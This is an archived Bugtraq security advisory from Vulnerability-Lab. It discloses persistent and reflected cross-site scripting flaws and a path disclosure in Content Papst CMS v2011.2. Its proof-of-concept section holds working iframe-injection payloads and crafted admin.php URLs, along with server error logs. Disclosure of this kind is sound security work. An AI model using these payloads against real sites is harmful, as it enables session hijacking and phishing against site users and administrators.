[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Suspected Spam] Content Papst CMS v2011.2 - Multiple Web Vulnerabilities
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: [Suspected Spam] Content Papst CMS v2011.2 - Multiple Web Vulnerabilities
- From: "research@xxxxxxxxxxxxxxxxxxxxx" <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Sun, 18 Dec 2011 19:51:02 +0100
Title:
======
Content Papst CMS v2011.2 - Multiple Web Vulnerabilities
Date:
=====
2011-12-18
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=363
VL-ID:
=====
363
Introduction:
=============
Contentpapst ist ein leistungsstarkes und sehr flexibles
Content-Management-System (CMS) speziell für kleine und
mittelständische Unternehmen, Behörden und Organisationen. Mit dem CMS
Contentpapst verwalten Sie Ihre Firmen-Homepage,
Ihre Vereins-Webseite etc. zukünftig komplett per Browser, ohne zusätzliche
Software!
(Copy of the Vendor Homepage: http://www.sandoba.de/produkte/cms-contentpapst/)
Abstract:
=========
Vulnerability Laboratory Research Team discovered multiple web vulnerabilities
in the Content Papst CMS v2011.2
Report-Timeline:
================
2011-12-18: Public or Non-Public Disclosure
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Severity:
=========
Medium
Details:
========
1.1
Multiple persistent input validation vulnerabilities are detected on the famous
Content Papst v2011.2 Content Management System.
The vulnerability allows an remote attacker or local low privileged cp user
account to inject own malicious script codes on
application side (persistent) of the web service. Successful exploitation of
the vulnerability can result in persistent module
content manipulation of vulnerable modules, phishing & session hijacking.
Vulnerable Module(s):
[+] Categorie =>
Titel/Beschreibung/Permalink
[+] Links =>
Titel/URL/Beschreibung
[+] Artikel-Categorie =>
Titel/Beschreibung/Permalink
[+] Artikel =>
Titel/Beschreibung/Permalink
[+] News =>
Name/Beschreibung/URL
Picture(s):
../1.png
../2.png
1.2
Multiple non-persistent cross site scripting vulnerabilities are detected on
the famous Content Papst v2011.2 Content Management System.
The vulnerability allows an attacker (remote) to hijack
customer/admin/moderator/user accounts via cross site scripting.
Successful exploitation of the vulnerability can result in account steal &
client side content manipulation on requests.
Vulnerable Module(s):
[+] Dateiverwaltung - Topic [Name,Path
& Folder]
[+] News - Search Parameter
Picture(s):
../3.png
1.3
A Information/Path disclosure issue are detected on the famous Content Papst
v2011.2 Content Management System.
A regular expression format output displays mistake shows remote attackers
sensitive information via path error.
Vulnerable Module(s):
[+] Search File Overview
--- Exception Logs ---
<b>Warning</b>: preg_match() [<a
href=function.preg-match>function.preg-match</a>]:
No ending delimiter \/ found in
<b>/kunden/282246_12XXX/cms-test.com/demoversion/modules/upload/class.admin.php</b>
on line <b>563</b><br>
<b>Warning</b>: preg_match() [<a
href="function.preg-match>function.preg-match</a>]:
No ending delimiter found in
<b>/kunden/282246_12XXX/cms-test.com/demoversion/modules/upload/class.admin.php</b>
on line <b>563</b><br>
<b>Warning</b>: preg_match() [<a
href=function.preg-match>function.preg-match</a>]:
No ending delimiter found in
<b>/kunden/282246_12XXX/cms-test.com/demoversion/modules/upload/class.admin.php</b>
on line <b>563</b><br>
<b>Warning</b>: preg_match() [<a
href=function.preg-match>function.preg-match</a>]:
No ending delimiter found in
<b>/kunden/282246_12XXX/cms-test.com/demoversion/modules/upload/class.admin.php</b>
on line <b>563</b><br>
<b>Warning</b>: preg_match() [<a
href=function.preg-match>function.preg-match</a>]:
No ending delimiter found in
<b>/kunden/282246_12XXX/cms-test.com/demoversion/modules/upload/class.admin.php</b>
on line <b>563</b><br>
<b>Warning</b>: preg_match() [<a
href=function.preg-match>function.preg-match</a>]:
No ending delimiter found in
<b>/kunden/282246_12XXX/cms-test.com/demoversion/modules
Picture(s):
../4.png
Proof of Concept:
=================
The vulnerabilities can be exploited by remote attackers or local low
privileged user accounts. For demonstration or reproduce ...
1.1
- Title & Beschreibung - Categories
<tr class="layout_table_row_1">
<th valign="top">3</th>
<td valign="top" width="150"><a
href="/demoversion/admin.php?file=news&mode=edit_category&
;number=3">hacker23 >"<iframe src="http://vulnerability-lab.com width="1000"
height="800" "></a></td>
<td valign="top"><em>Keine Beschreibung verfügbar.</em></td>
<td width="130" valign="top">Öffentlich verfügbar</td>
<td valign="top"><a
href="http://www.XXX.com/[PATH]/news-category-3.html"; title="Zur Webseite
wechseln"><img src="/demoversion/themes/backend/images/alfa_buttons_view.gif"
border="0" alt="Zur Webseite wechseln" /></a></td>
- Article Name & Beschreibung - News
<tr class="layout_table_row_2">
<th><input id="checkbox_16" name="checkbox[16]" value="1"
class="checkbox" type="checkbox">?????</th>
<td>16</td>
<td align="left"><a
href="/demoversion/admin.php?file=news&mode=edit_news&number=16" title="Neue
Produkte
von der Cebit 2006 >"<iframe src=http://www.vulnerability-lab.com width="1000"
height="800">">N
eue Produkte von der Cebit 2006 >"?????<iframe
src="http://www.vuln...%3C/a";></td>
<td align="center"><img
src="/demoversion/themes/backend/images/icons/color_green.gif" border="0"
alt="Öffentlich verfügbar" title="Öffentlich verfügbar"
/></td>
<td align="center"><img
src="/demoversion/themes/backend/images/icons/color_blue.gif" border="0"
alt="Aktuelle News" title="Aktuelle News" /></td>
<td width="130"><a
href="/demoversion/admin.php?file=news&mode=edit_category&number=1">Allgemeines</a></td>
<td width="90" align="left">
09.09.2010</td>
<td align="center"><a
href="http://www.cms-test.com/demoversion/news/allgemeines/neue-produkte-von
-der-cebit-2006.html" title="Zur Webseite wechseln"><img
src="/demoversion/themes/backend/images/alfa_buttons_view.gif" border="0"
alt="Zur Webseite wechseln" /></a></td>
<td><a
href="/demoversion/admin.php?file=news&mode=duplicate_news&number=16&clean=yes"
onclick="return confirm('Sind Sie sicher, dass Sie diesen
Eintrag duplizieren wollen?')" title="News duplizieren"><img
src="/demoversion/themes/backend/images/alfa_buttons_duplicate.gif"
border="0" alt="News duplizieren" /></a></td>
<td align="center"><a
href="/demoversion/admin.php?file=news&mode=edit_news&number=16" title="News
bearbeiten"><img src="/demoversion/themes/backend/images/alfa_buttons_edit.gif"
border="0" alt="News bearbeiten" /></a></td>
<td align="center"><a
href="/demoversion/admin.php?file=news&mode=delete_news&number=16"
onclick="return confirm('Sind Sie sicher, dass Sie diese Aktion durchführen
möchten?')"
title="News löschen"><img
src="/demoversion/themes/backend/images/alfa_buttons_delete.gif" border="0"
alt="News löschen" /><
/a></td>
</tr>
PoC:
../category
../news-listing
1.2
http://www.XXX.com/[PATH]/admin.php#!file=upload&mode=rename_dir&form[dir]=cache&form[path]=%3E%22%3Ciframe%20src=http://vulnerability-lab.com%3E
http://www.XXX.com/[PATH]/admin.php#!file=upload&mode=rename_dir&form[dir]=%3E%22%3Ciframe%20src=http://vulnerability-lab.com%3E&form[path]=.
1.3
<td class="table_head">Suchen</td>
</tr>
<tr>
<td class="table_bottom table_bottom_inline"><table border="0"
cellpadding="2" cellspacing="0"><tbody><tr><td><input
name="form[query]" id="form_search_query" alt="" class="input_9" maxlength="50"
value="-1\" onclick="jsapi('#form_search_livesearch_frame')
.hide();"
onkeyup="jsapi.get('/demoversion/admin.php?file=upload&mode=livesearch&form[query]='
+ this.value + '&form[type]=' + jsapi('#form_search_type').val() +
'&form[case]=' + jsapi('#form_search_case').attr('checked') + '&form[dirs]=' +
jsapi('#form_search_dirs')
.attr('checked') + '&clean=yes', function(data) {
jsapi('.layout_livesearch_frame').hide();
jsapi('#form_search_livesearch_frame').html(data);
jsapi('#form_search_livesearch_frame').css('margin-bottom', '-' +
jsapi('#form_search_livesearch_frame').height() + 'px').show(); });"
style="margin-
right: 5px;" type="text"><div class="layout_livesearch_frame"
id="form_search_livesearch_frame" style="width: 345px; display: block;
margin-bottom:
0px;"></div></td><td>Dateityp:</td><td><select name="form[type]"
class="input_5" id="form_search_type" style="margin-right: 5px;">
...
<option value="tpl">.tpl</option>
...
<option value="txt">.txt</option>
<option value="xml">.xml</option>
<option value="zip">.zip</option>
</select></td><td><input name="form[case]" value="1" alt=""
id="form_search_case" class="checkbox" type="checkbox">
<label for="form_search_case">Groß-/Kleinschreibung</label> <input
name="form[dirs]" value="1" alt="" id="form_search_dirs" class="checkbox"
type="checkbox"><label for="form_search_dirs">Ordner</label> <input name="mode"
value="search_now" type="hidden">
<input name="clean" value="yes" type="hidden">
<input value="Abschicken" alt="" class="inputsubmit" type="submit">
</td></tr></tbody></table></td>
</tr>
</tbody></table>
</div><br></form>
<br>
<b>Warning</b>: preg_match() [<a
href="function.preg-match">function.preg-match</a>]: No ending delimiter '/'
found in
<b>/kunden/282246_12623/cms-test.com/demoversion/modules/upload/class.admin.php</b>
on line <b>563</b><br>
<b>Warning</b>: preg_match() [<a
href="function.preg-match">function.preg-match</a>]: No ending delimiter '/'
found in
<b>/kunden/282246_12623/cms-test.com/demoversion/modules/upload/class.admin.php</b>
on line <b>563</b><br>
<b>Warning</b>: preg_match() [<a
href="function.preg-match">function.preg-match</a>]: No ending delimiter '/'
found in
<b>/kunden/282246_12623/cms-test.com/demoversion/modules/upload/class.admin.php</b>
on line <b>563</b><br>
<b>Warning</b>: preg_match() [<a
href="function.preg-match">function.preg-match</a>]: No ending delimiter '/'
found in
<b>/kunden/282246_12623/cms-test.com/demoversion/modules/upload/class.admin.php</b>
on line <b>563</b><br>
<b>Warning</b>: preg_match() [<a
href="function.preg-match">function.preg-match</a>]: No ending delimiter '/'
found in
<b>/kunden/282246_12623/cms-test.com/demoversion/modules/upload/class.admin.php</b>
on line <b>563</b><br>
<b>Warning</b>: preg_match() [<a
href="function.preg-match">function.preg-match</a>]: No ending delimiter '/'
found in <b>/kunden/282246_12623/cms-test.com/demoversion/modules
Risk:
=====
1.1
The security risk of the persistent vulnerabilities are estimated as high(-).
1.2
The security risk of the non-persistent cross site scripting vulnerabilities
are estimated as medium(-) because of
7high required user inter action.
1.3
The security risk of the information dislcosure bug is estimated as low.
Credits:
========
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve) & Pim
J.F.P. Campers
Disclaimer:
===========
The information provided in this advisory is provided as it is without any
warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have
been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential
or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages,
of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.
Copyright ©
2011|Vulnerability-Lab
--
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com
Contact: admin@xxxxxxxxxxxxxxxxxxxxx or support@xxxxxxxxxxxxxxxxxxxxx